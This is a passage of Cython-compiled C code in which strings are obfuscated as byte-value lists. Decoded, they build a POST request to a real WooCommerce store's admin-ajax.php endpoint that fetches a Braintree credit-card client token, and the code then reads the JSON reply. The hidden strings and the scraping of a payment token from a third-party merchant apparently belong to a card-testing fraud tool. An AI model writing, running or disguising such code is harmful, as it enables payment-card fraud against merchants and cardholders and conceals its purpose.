    __pyx_t_2 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 493, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_2, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 493, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    if (PyDict_SetItem(__pyx_t_1, __pyx_t_9, __pyx_t_5) < 0) __PYX_ERR(0, 490, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

    
    __pyx_t_5 = PyList_New(10); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 494, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_INCREF(__pyx_int_117);
    __Pyx_GIVEREF(__pyx_int_117);
    PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_117);
    __Pyx_INCREF(__pyx_int_115);
    __Pyx_GIVEREF(__pyx_int_115);
    PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_115);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_103);
    __Pyx_GIVEREF(__pyx_int_103);
    PyList_SET_ITEM(__pyx_t_5, 6, __pyx_int_103);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_5, 7, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_5, 8, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_5, 9, __pyx_int_116);
    __pyx_t_9 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 494, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_9);
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_9, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 494, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
    __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_user); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 494, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_9);
    if (PyDict_SetItem(__pyx_t_1, __pyx_t_5, __pyx_t_9) < 0) __PYX_ERR(0, 490, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
    if (PyDict_SetItem(__pyx_d, __pyx_n_s_headers, __pyx_t_1) < 0) __PYX_ERR(0, 489, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;

    
    __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 497, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_1);
    __pyx_t_9 = PyList_New(6); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 497, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_9);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_9, 0, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_9, 1, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_9, 2, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_9, 3, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_9, 4, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_9, 5, __pyx_int_110);
    __pyx_t_5 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_9); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 497, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
    __pyx_t_9 = __Pyx_decode_bytes(__pyx_t_5, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 497, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_9);
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    __pyx_t_5 = PyList_New(41); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 497, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_INCREF(__pyx_int_119);
    __Pyx_GIVEREF(__pyx_int_119);
    PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_119);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_95);
    __Pyx_GIVEREF(__pyx_int_95);
    PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_95);
    __Pyx_INCREF(__pyx_int_98);
    __Pyx_GIVEREF(__pyx_int_98);
    PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_98);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_5, 6, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_5, 7, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_5, 8, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_5, 9, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_5, 10, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_5, 11, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_95);
    __Pyx_GIVEREF(__pyx_int_95);
    PyList_SET_ITEM(__pyx_t_5, 12, __pyx_int_95);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_5, 13, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_5, 14, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_5, 15, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_100);
    __Pyx_GIVEREF(__pyx_int_100);
    PyList_SET_ITEM(__pyx_t_5, 16, __pyx_int_100);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_5, 17, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_5, 18, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_95);
    __Pyx_GIVEREF(__pyx_int_95);
    PyList_SET_ITEM(__pyx_t_5, 19, __pyx_int_95);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_5, 20, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_5, 21, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_5, 22, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_100);
    __Pyx_GIVEREF(__pyx_int_100);
    PyList_SET_ITEM(__pyx_t_5, 23, __pyx_int_100);
    __Pyx_INCREF(__pyx_int_95);
    __Pyx_GIVEREF(__pyx_int_95);
    PyList_SET_ITEM(__pyx_t_5, 24, __pyx_int_95);
    __Pyx_INCREF(__pyx_int_103);
    __Pyx_GIVEREF(__pyx_int_103);
    PyList_SET_ITEM(__pyx_t_5, 25, __pyx_int_103);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_5, 26, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_5, 27, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_95);
    __Pyx_GIVEREF(__pyx_int_95);
    PyList_SET_ITEM(__pyx_t_5, 28, __pyx_int_95);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_5, 29, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_5, 30, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_5, 31, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_5, 32, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_5, 33, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_5, 34, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_95);
    __Pyx_GIVEREF(__pyx_int_95);
    PyList_SET_ITEM(__pyx_t_5, 35, __pyx_int_95);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_5, 36, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_5, 37, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_107);
    __Pyx_GIVEREF(__pyx_int_107);
    PyList_SET_ITEM(__pyx_t_5, 38, __pyx_int_107);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_5, 39, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_5, 40, __pyx_int_110);
    __pyx_t_2 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 497, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_2, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 497, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    if (PyDict_SetItem(__pyx_t_1, __pyx_t_9, __pyx_t_5) < 0) __PYX_ERR(0, 497, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

    
    __pyx_t_5 = PyList_New(5); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 498, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_101);
    __pyx_t_9 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 498, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_9);
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_9, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 498, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
    __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_client); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 498, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_9);
    if (PyDict_SetItem(__pyx_t_1, __pyx_t_5, __pyx_t_9) < 0) __PYX_ERR(0, 497, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
    if (PyDict_SetItem(__pyx_d, __pyx_n_s_data, __pyx_t_1) < 0) __PYX_ERR(0, 496, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;

    
    __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_r); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 500, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_1);
    __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_post); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 500, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_9);
    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;

    
    __pyx_t_1 = PyList_New(49); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 501, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_1);
    __Pyx_INCREF(__pyx_int_104);
    __Pyx_GIVEREF(__pyx_int_104);
    PyList_SET_ITEM(__pyx_t_1, 0, __pyx_int_104);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_1, 1, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_1, 2, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_1, 3, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_115);
    __Pyx_GIVEREF(__pyx_int_115);
    PyList_SET_ITEM(__pyx_t_1, 4, __pyx_int_115);
    __Pyx_INCREF(__pyx_int_58);
    __Pyx_GIVEREF(__pyx_int_58);
    PyList_SET_ITEM(__pyx_t_1, 5, __pyx_int_58);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_1, 6, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_1, 7, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_102);
    __Pyx_GIVEREF(__pyx_int_102);
    PyList_SET_ITEM(__pyx_t_1, 8, __pyx_int_102);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_1, 9, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_1, 10, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_102);
    __Pyx_GIVEREF(__pyx_int_102);
    PyList_SET_ITEM(__pyx_t_1, 11, __pyx_int_102);
    __Pyx_INCREF(__pyx_int_117);
    __Pyx_GIVEREF(__pyx_int_117);
    PyList_SET_ITEM(__pyx_t_1, 12, __pyx_int_117);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_1, 13, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_1, 14, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_102);
    __Pyx_GIVEREF(__pyx_int_102);
    PyList_SET_ITEM(__pyx_t_1, 15, __pyx_int_102);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_1, 16, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_1, 17, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_118);
    __Pyx_GIVEREF(__pyx_int_118);
    PyList_SET_ITEM(__pyx_t_1, 18, __pyx_int_118);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_1, 19, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_1, 20, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_46);
    __Pyx_GIVEREF(__pyx_int_46);
    PyList_SET_ITEM(__pyx_t_1, 21, __pyx_int_46);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_1, 22, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_1, 23, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_1, 24, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_1, 25, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_119);
    __Pyx_GIVEREF(__pyx_int_119);
    PyList_SET_ITEM(__pyx_t_1, 26, __pyx_int_119);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_1, 27, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_1, 28, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_1, 29, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_100);
    __Pyx_GIVEREF(__pyx_int_100);
    PyList_SET_ITEM(__pyx_t_1, 30, __pyx_int_100);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_1, 31, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_1, 32, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_1, 33, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_1, 34, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_1, 35, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_100);
    __Pyx_GIVEREF(__pyx_int_100);
    PyList_SET_ITEM(__pyx_t_1, 36, __pyx_int_100);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_1, 37, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_1, 38, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_1, 39, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_1, 40, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_1, 41, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_106);
    __Pyx_GIVEREF(__pyx_int_106);
    PyList_SET_ITEM(__pyx_t_1, 42, __pyx_int_106);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_1, 43, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_120);
    __Pyx_GIVEREF(__pyx_int_120);
    PyList_SET_ITEM(__pyx_t_1, 44, __pyx_int_120);
    __Pyx_INCREF(__pyx_int_46);
    __Pyx_GIVEREF(__pyx_int_46);
    PyList_SET_ITEM(__pyx_t_1, 45, __pyx_int_46);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_1, 46, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_104);
    __Pyx_GIVEREF(__pyx_int_104);
    PyList_SET_ITEM(__pyx_t_1, 47, __pyx_int_104);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_1, 48, __pyx_int_112);
    __pyx_t_5 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 501, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
    __pyx_t_1 = __Pyx_decode_bytes(__pyx_t_5, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 501, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_1);
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

    
    __pyx_t_5 = PyTuple_New(1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 500, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_GIVEREF(__pyx_t_1);
    PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_1);
    __pyx_t_1 = 0;

    
    __pyx_t_1 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 502, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_1);
    __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_r); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 502, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __pyx_t_15 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_cookies); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 502, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_cookies, __pyx_t_15) < 0) __PYX_ERR(0, 502, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;

    
    __Pyx_GetModuleGlobalName(__pyx_t_15, __pyx_n_s_headers); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 503, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_headers, __pyx_t_15) < 0) __PYX_ERR(0, 502, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;

    
    __Pyx_GetModuleGlobalName(__pyx_t_15, __pyx_n_s_data); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 504, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_data, __pyx_t_15) < 0) __PYX_ERR(0, 502, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;

    
    __pyx_t_15 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_t_5, __pyx_t_1); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 500, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
    if (PyDict_SetItem(__pyx_d, __pyx_n_s_response, __pyx_t_15) < 0) __PYX_ERR(0, 500, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;

    
    __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_response); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 505, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_1);
    __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_json); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 505, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
    __pyx_t_1 = NULL;
    if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_5))) {
      __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_5);
      if (likely(__pyx_t_1)) {
        PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5);
        __Pyx_INCREF(__pyx_t_1);
        __Pyx_INCREF(function);
        __Pyx_DECREF_SET(__pyx_t_5, function);
      }
    }
    __pyx_t_15 = (__pyx_t_1) ? __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_1) : __Pyx_PyObject_CallNoArg(__pyx_t_5);
    __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0;
    if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 505, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    __pyx_t_5 = PyList_New(4); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 505, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_INCREF(__pyx_int_100);
    __Pyx_GIVEREF(__pyx_int_100);
    PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_100);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
